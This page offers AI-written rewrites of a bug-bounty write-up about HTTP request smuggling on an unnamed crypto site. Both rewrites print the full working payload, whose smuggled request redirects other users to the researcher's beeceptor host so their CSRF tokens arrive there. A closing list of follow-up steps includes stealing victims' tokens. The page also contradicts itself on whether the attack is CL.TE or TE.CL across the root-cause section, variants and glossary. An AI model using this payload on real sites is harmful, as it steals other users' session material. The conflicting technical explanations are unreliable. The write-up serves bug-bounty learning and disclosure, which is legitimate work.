Skip to content
Smuggling / CRLF Write-up Advanced

Request Smuggling In Major Crypto Site — road to disappointment

The front-end server accepted a Transfer-Encoding: chunked header while the back-end server used Content-Length, allowing a crafted request to smuggle a second request. This caused subsequent users to be redirected to an attacker-controlled endpoint, leaking their CSRF tokens.

CeloIme Prezime Follow

Published on medium.com

Let me introduce myself since this is my first writing ever. At the beginning sorry if I make mistakes in my writing since English is not my native language.

CeloIme Prezime, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This is a first-time write-up from a researcher who joined HackerOne to practise, after earlier work on XXE, XSS, open redirects, CRLF injection and embedded tokens on Twitter sites. The target here is described only as a major crypto site, reached through a program invitation. The report does not name the program, the product or the specific feature. What matters for the attack is that the site sits behind a front end and a back end that disagree about how to determine the length of a request body, and that requests from real users pass through the same front end.

The researcher had previously enumerated subdomains on this site and found open redirects and user enumeration, which were out of scope. One of those open redirect URLs is reused later as the smuggled request's target, which is why it appears in the payload even though it was out of scope on its own.

Setup

The preparation was self-directed: reading James Kettle's (albinowax) material on HTTP desync attacks at https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn, watching videos, and taking practice tests at the PortSwigger academy. The scanning tool was Evan Custodio's smuggler, https://github.com/defparam/smuggler, which the researcher ran against the in-scope hosts and which quickly identified some vulnerable hosts.

Two practical preconditions shaped the work:

  1. A collaborator endpoint to receive the smuggled traffic. The researcher used a beeceptor endpoint, oxygenne.free.beeceptor.com, and watched it for incoming requests.
  2. Care with the payload itself. The researcher notes repeatedly forgetting to uncheck "update content-length" in Burp, forgetting to convert the decimal length of the smuggled request into hexadecimal, and getting the terminating 0\r\n\r\n wrong.

No account details, roles or software versions beyond the browser user agent string in the payload are given.

Finding it

The smuggler scan reported vulnerable hosts in a short time. That only establishes that the front end and back end disagree; it does not produce a working exploit. The hard part, in the researcher's words, was crafting the payload, which took many sleepless nights of attempts that failed for the reasons above.

The signal that it finally worked was indirect: requests started arriving at the beeceptor endpoint, and the researcher describes tokens "raining" in. That is the confirmation that a smuggled request was being appended to another user's request and sent to the attacker-controlled host.

Exploitation

Step 1: send the chunked request with a short Content-Length

The working payload was:

HTTP
POST /?cb=7309697047596003 HTTP/1.1
Transfer-Encoding: chunked
Host: XXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 4
Cookie: [redacted]

F4\r\n
GET /xxxx?a=2&targeturl=//oxygenne.free.beeceptor.com HTTP/1.1
Host: XXXXXX
Connection: close
Content-Length: 50
AccountType: Real
Authorization: Hidden
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, /**

x=1
0\r\n\r\n

The important parts:

  • Transfer-Encoding: chunked together with Content-Length: 4 is the disagreement. The front end honours the chunked encoding; the back end honours the Content-Length.
  • F4\r\n is the chunk size, 244 in decimal. The comment in the original payload marks it as the character count of the request below, converted to hex. The researcher's own note is to count the characters of the smuggled request and convert them to hexadecimal.
  • The smuggled request is a GET to /xxxx with targeturl=//oxygenne.free.beeceptor.com. The researcher states this was an actual open redirect URL found earlier and that it was out of scope. The Host header is the target host, Connection: close is set, and the request carries Content-Length: 50, AccountType: Real, Authorization: Hidden, Content-Type: application/json;charset=UTF-8 and Accept: application/json, text/plain, /**.
  • x=1 and the closing 0\r\n\r\n complete the chunked body.

Step 2: how the two servers interpret it

The front end accepts Transfer-Encoding: chunked and processes the first chunk, F4 (244 decimal). When it reaches 0\r\n\r\n it considers the request finished and forwards it to the back end.

The back end accepts only Content-Length. It sees a body of 4 bytes, because F4\r\n is exactly 4 bytes, and processes only that. The remainder of the body, that is the GET /xxxx?a=2&targeturl=//oxygenne.free.beeceptor.com HTTP/1.1 request and its Host: XXXXXX line, is left in the connection buffer and appended to the next request, which belongs to a random user.

Step 3: observe the result

Because the appended request is a GET to the open redirect with targeturl pointing at the beeceptor host, the victim's request is redirected to the attacker's endpoint. The researcher states that users were redirected to an endpoint with an embedded x-csrf-token, and that tokens started arriving at the beeceptor endpoint.

From the original on medium.com

The image accompanies the description of the smuggled request being appended to the next, random user's request, and of users being redirected to an endpoint carrying the x-csrf-token.

Step 4: report and triage

The researcher reported to the program owner immediately. After a lot of explanation the report was triaged. No bounty was paid, because the program required at least one P1 submission before entering its bounty level. The researcher describes the disappointment as huge but did not stop there.

Root cause

The root cause is a parsing disagreement between the front end and the back end over message length. The front end uses Transfer-Encoding: chunked and treats 0\r\n\r\n as the end of the message; the back end uses Content-Length: 4 and stops after the chunk-size line. The bytes that the front end considers part of this request are, from the back end's point of view, the start of the next request on the same connection. This is the classic CL.TE desync pattern.

Impact

Under the conditions shown, an attacker can cause another user's request to be appended with an attacker-chosen request prefix, and in this case redirect that user to an attacker-controlled endpoint that receives the user's x-csrf-token. The researcher's evidence is the tokens arriving at the beeceptor endpoint. The report does not quantify how many users were affected, does not show the token values, and does not describe any further use of the captured tokens. The open redirect used as the smuggled target was itself out of scope.

Fix

This write-up does not state what the program changed. The general remediation for this class is to make the front end and back end agree on message framing: reject requests that carry both Transfer-Encoding and Content-Length, normalise or strip ambiguous headers at the edge, and ensure the back end does not accept a request whose framing was decided differently upstream. Which of these the program applied is not described.

Variants to test

  1. Run smuggler against in-scope hosts and treat any reported host as a lead, not a finding. A positive result is a host where the tool reports a desync candidate; the next step is always a manual payload against a collaborator endpoint.
  2. Try the CL.TE shape shown here: Transfer-Encoding: chunked with a small Content-Length and a hex chunk size equal to the length of the smuggled request. A positive result is a request arriving at your collaborator endpoint that you did not send directly.
  3. Try the reverse TE.CL shape, where the front end uses Content-Length and the back end uses chunked. A positive result is the same: traffic appearing at your endpoint, or a delay consistent with the back end waiting for more chunks.
  4. Reuse a known open redirect on the target as the smuggled request's target, as was done here. A positive result is victims being redirected to your endpoint with tokens attached.
  5. Watch for tokens and headers in what arrives at your endpoint. A positive result is any credential, CSRF token or session material that belongs to another user.
  6. Check the terminating sequence carefully: 0\r\n\r\n must be exact, and the chunk size must be the hex length of the smuggled request. A positive result is that the payload stops failing for framing reasons and the collaborator starts receiving traffic.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher found a way to make a large cryptocurrency website send other people's security tokens to a server he controlled. The trick is called HTTP request smuggling. In everyday terms, imagine a post office where two clerks read the same parcel label differently: one thinks the parcel ends after the first page, the other thinks it continues onto the next page. If you write a letter that exploits that disagreement, the second clerk can be tricked into attaching your extra page to somebody else's parcel. That is roughly what happened here: the website's front door and its back room disagreed about where one request ended and the next began, so a piece of the attacker's request got glued onto the next real user's request.

The researcher reported it, the report was triaged (accepted as a real issue), but no money was paid because the program required at least one P1 (its highest severity level) submission before the researcher could enter the bounty level. The researcher calls the disappointment huge but did not stop there.

This is a first-time write-up. The author says English is not their native language, comes from a small country, has worked in IT since 1998, and had earlier found XXE, XSS, open redirects, CRLF issues and embedded tokens on Twitter sites, which earned a bounty. The target here is described only as a major crypto site, reached through a program invitation. The report does not name the program, the product or the specific feature.

The background you need

Before the steps, a few ideas from zero, because the rest of the article leans on them.

  • A request and a response. When you open a web page, your browser sends a request to a server and the server sends back a response. A request has a first line (the method, like GET or POST, and the path), then a set of headers (labels with values), then optionally a body (the data being sent).
  • Headers. Think of headers as the labels on an envelope: who it is from, what is inside, how big it is. Two headers matter enormously here: Content-Length (how many bytes the body has) and Transfer-Encoding: chunked (the body is sent in numbered pieces, called chunks, and the last piece is marked with a zero).
  • A cookie and a token. A cookie is a small piece of data the browser stores for a site and sends back with every request, so the site can recognise you. A token (here a CSRF token, short for Cross-Site Request Forgery token) is a secret value the site embeds in pages and forms to prove a request really came from its own pages and not from an attacker's page. If someone else gets your token, they may be able to act as you.
  • Front end and back end. Big sites often put a front-end server (a proxy or load balancer) in front of a back-end server (the application). The front end receives the request from your browser and passes it on to the back end. If the two disagree about how to read the request, trouble follows.
  • HTTP request smuggling / desync. This is the vulnerability class. It happens when the front end and back end interpret the boundaries of a request differently. One side thinks the request ends here; the other thinks it ends later. The leftover bytes get treated as the beginning of the next request on the same connection, which belongs to another user. The researcher learned about it from James Kettle's (albinowax) presentation and article on HTTP desync attacks at https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn, watched videos, and took practice tests at the PortSwigger academy.
  • Open redirect. A feature that takes a URL from the request and sends the user there. If it does not check where it is sending people, an attacker can use it to bounce victims to their own site. The researcher had found open redirects on this target earlier, but they were out of scope (not eligible under the program's rules). One of those URLs is reused later inside the attack, which is why it appears in the payload even though it was out of scope on its own.
  • A collaborator endpoint. A server you control that records any request that reaches it. The researcher used a beeceptor endpoint, oxygenne.free.beeceptor.com, and watched it for incoming traffic. If requests you did not send directly start arriving there, something on the target is forwarding traffic to you.
  • Burp. A tool security testers use to intercept and edit requests. The researcher mentions repeatedly forgetting to uncheck "update content-length" in Burp, which matters because the whole attack depends on a deliberately wrong length.

Setup

The preparation was self-directed: reading the desync material, watching videos, and doing the PortSwigger academy practice tests. The scanning tool was Evan Custodio's smuggler, https://github.com/defparam/smuggler, which the researcher ran against the in-scope hosts and which quickly identified some vulnerable hosts.

Two practical preconditions shaped the work:

  1. A collaborator endpoint to receive the smuggled traffic. The researcher used the beeceptor endpoint oxygenne.free.beeceptor.com and watched it for incoming requests.
  2. Care with the payload itself. The researcher notes repeatedly forgetting to uncheck "update content-length" in Burp, forgetting to convert the decimal length of the smuggled request into hexadecimal, and getting the terminating 0\r\n\r\n wrong.

No account details, roles or software versions beyond the browser user agent string in the payload are given.

Finding it

The smuggler scan reported vulnerable hosts in a short time. That only establishes that the front end and back end disagree; it does not produce a working exploit. The hard part, in the researcher's words, was crafting the payload, which took many sleepless nights of attempts that failed for the reasons above.

The signal that it finally worked was indirect: requests started arriving at the beeceptor endpoint, and the researcher describes tokens "raining" in. That is the confirmation that a smuggled request was being appended to another user's request and sent to the attacker-controlled host.

Exploitation

Step 1: send the chunked request with a short Content-Length

The working payload was:

HTTP
POST /?cb=7309697047596003 HTTP/1.1
Transfer-Encoding: chunked
Host: XXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 4
Cookie: [redacted]

F4\r\n
GET /xxxx?a=2&targeturl=//oxygenne.free.beeceptor.com HTTP/1.1
Host: XXXXXX
Connection: close
Content-Length: 50
AccountType: Real
Authorization: Hidden
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, /**

x=1
0\r\n\r\n

Line by line, in plain words:

  • POST /?cb=7309697047596003 HTTP/1.1 is the first line of the request: the method is POST, the path is / with a query parameter cb set to a long number, and HTTP/1.1 is the protocol version. The cb value looks like a cache-buster, a random number so the request is not served from a cache.
  • Transfer-Encoding: chunked tells the front end the body is sent in numbered chunks.
  • Host: XXXXXX names the target site. The original hides the real hostname.
  • User-Agent: ... identifies the browser. It is a normal Chrome string.
  • Content-type: application/x-www-form-urlencoded; charset=UTF-8 says the body is form data.
  • Content-Length: 4 says the body is 4 bytes long. This is the deliberate lie that makes the attack work.
  • Cookie: [redacted] is the researcher's own session cookie. It is redacted here because it is a secret.
  • F4\r\n is the first chunk. F4 is hexadecimal for 244 in decimal. The researcher's own note is to count the characters of the smuggled request below and convert them to hexadecimal. \r\n is the line ending that ends the chunk-size line.
  • The next block, starting GET /xxxx?a=2&targeturl=//oxygenne.free.beeceptor.com HTTP/1.1, is the smuggled request. It is a GET to /xxxx with a targeturl parameter pointing at the beeceptor host. The researcher states this was an actual open redirect URL found earlier and that it was out of scope. Host: XXXXXX is the target host, Connection: close asks the connection to close after the response, and the request carries Content-Length: 50, AccountType: Real, Authorization: Hidden, Content-Type: application/json;charset=UTF-8 and Accept: application/json, text/plain, /**.
  • x=1 is a small body for the smuggled request.
  • 0\r\n\r\n is the terminating chunk: a zero-size chunk followed by an empty line, which tells the front end the chunked body is finished.

The important parts:

  • Transfer-Encoding: chunked together with Content-Length: 4 is the disagreement. The front end honours the chunked encoding; the back end honours the Content-Length.
  • F4\r\n is the chunk size, 244 in decimal. The comment in the original payload marks it as the character count of the request below, converted to hex.
  • The smuggled request is a GET to /xxxx with targeturl=//oxygenne.free.beeceptor.com.
  • x=1 and the closing 0\r\n\r\n complete the chunked body.

Step 2: how the two servers interpret it

The front end accepts Transfer-Encoding: chunked and processes the first chunk, F4 (244 decimal). When it reaches 0\r\n\r\n it considers the request finished and forwards it to the back end.

The back end accepts only Content-Length. It sees a body of 4 bytes, because F4\r\n is exactly 4 bytes, and processes only that. The remainder of the body, that is the GET /xxxx?a=2&targeturl=//oxygenne.free.beeceptor.com HTTP/1.1 request and its Host: XXXXXX line, is left in the connection buffer and appended to the next request, which belongs to a random user.

In everyday terms: the front end reads the whole letter including the extra page and passes it on. The back end reads only the first four bytes, thinks the letter is done, and leaves the extra page sitting on the desk. The next person's letter arrives and the extra page gets stapled to it.

Step 3: observe the result

Because the appended request is a GET to the open redirect with targeturl pointing at the beeceptor host, the victim's request is redirected to the attacker's endpoint. The researcher states that users were redirected to an endpoint with an embedded x-csrf-token, and that tokens started arriving at the beeceptor endpoint.

From the original on medium.com

The image accompanies the description of the smuggled request being appended to the next, random user's request, and of users being redirected to an endpoint carrying the x-csrf-token.

Step 4: report and triage

The researcher reported to the program owner immediately. After a lot of explanation the report was triaged. No bounty was paid, because the program required at least one P1 submission before entering its bounty level. The researcher describes the disappointment as huge but did not stop there.

Root cause

The root cause is a parsing disagreement between the front end and the back end over message length. The front end uses Transfer-Encoding: chunked and treats 0\r\n\r\n as the end of the message; the back end uses Content-Length: 4 and stops after the chunk-size line. The bytes that the front end considers part of this request are, from the back end's point of view, the start of the next request on the same connection. This is the classic CL.TE desync pattern: CL for Content-Length, TE for Transfer-Encoding, in the order the two sides trust them.

Impact

Under the conditions shown, an attacker can cause another user's request to be appended with an attacker-chosen request prefix, and in this case redirect that user to an attacker-controlled endpoint that receives the user's x-csrf-token. The researcher's evidence is the tokens arriving at the beeceptor endpoint. The report does not quantify how many users were affected, does not show the token values, and does not describe any further use of the captured tokens. The open redirect used as the smuggled target was itself out of scope.

Fix

This write-up does not state what the program changed. The general remediation for this class is to make the front end and back end agree on message framing: reject requests that carry both Transfer-Encoding and Content-Length, normalise or strip ambiguous headers at the edge, and ensure the back end does not accept a request whose framing was decided differently upstream. Which of these the program applied is not described.

Variants to test

  1. Run smuggler against in-scope hosts and treat any reported host as a lead, not a finding. A positive result is a host where the tool reports a desync candidate; the next step is always a manual payload against a collaborator endpoint.
  2. Try the CL.TE shape shown here: Transfer-Encoding: chunked with a small Content-Length and a hex chunk size equal to the length of the smuggled request. A positive result is a request arriving at your collaborator endpoint that you did not send directly.
  3. Try the reverse TE.CL shape, where the front end uses Content-Length and the back end uses chunked. A positive result is the same: traffic appearing at your endpoint, or a delay consistent with the back end waiting for more chunks.
  4. Reuse a known open redirect on the target as the smuggled request's target, as was done here. A positive result is victims being redirected to your endpoint with tokens attached.
  5. Watch for tokens and headers in what arrives at your endpoint. A positive result is any credential, CSRF token or session material that belongs to another user.
  6. Check the terminating sequence carefully: 0\r\n\r\n must be exact, and the chunk size must be the hex length of the smuggled request. A positive result is that the payload stops failing for framing reasons and the collaborator starts receiving traffic.

Glossary

  • HTTP request: the message a browser sends to a server asking for a page or action, made of a first line, headers and an optional body.
  • Header: a labelled value in a request or response, such as Content-Length or Host.
  • Body: the data part of a request, after the headers.
  • Content-Length: a header stating how many bytes the body contains.
  • Transfer-Encoding: chunked: a header saying the body is sent in numbered pieces, ending with a zero-size piece.
  • Chunk: one numbered piece of a chunked body; its size is written in hexadecimal.
  • Hexadecimal: a base-16 number system; F4 is 244 in decimal.
  • Cookie: a small value the browser stores for a site and sends back with each request, used to recognise the user.
  • Token / CSRF token: a secret value embedded in pages and forms to prove a request came from the site's own pages; if stolen, it can be abused.
  • CSRF (Cross-Site Request Forgery): an attack where a victim's browser is tricked into sending a request the victim did not intend.
  • Front end: the server or proxy that first receives requests and passes them to the application.
  • Back end: the application server that processes requests after the front end.
  • HTTP request smuggling / desync: a class of attack where front end and back end disagree about where a request ends, letting attacker bytes leak into another user's request.
  • CL.TE: a desync where the front end uses Content-Length and the back end uses Transfer-Encoding. The payload here is the reverse, TE.CL.
  • TE.CL: the reverse desync shape.
  • Open redirect: a feature that sends the user to a URL taken from the request without checking it, so an attacker can bounce victims to their own site.
  • Out of scope: not eligible under a bug bounty program's rules.
  • Collaborator endpoint: a server you control that records incoming requests, used to confirm that traffic reached you.
  • Beeceptor: a service that gives you a URL which records requests sent to it.
  • Burp: a tool for intercepting and editing web requests.
  • User-Agent: a header identifying the browser and operating system.
  • Host: a header naming the site the request is for.
  • Query parameter: a name=value pair after the ? in a URL.
  • Triage: the program's process of reviewing a report and confirming it is a real issue.
  • P1: the highest severity level in a bug bounty program's rating.
  • Bounty: the money a program pays for a valid report.
  • XXE: XML External Entity, a vulnerability where an XML parser is tricked into reading local files or making requests.
  • XSS: Cross-Site Scripting, injecting script into a page that other users view.
  • CRLF injection: injecting carriage-return and line-feed characters to break the structure of a request or response.
  • PortSwigger academy: a free training site with labs on web security topics.
  • Smuggler: a tool by Evan Custodio that scans for request smuggling candidates.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.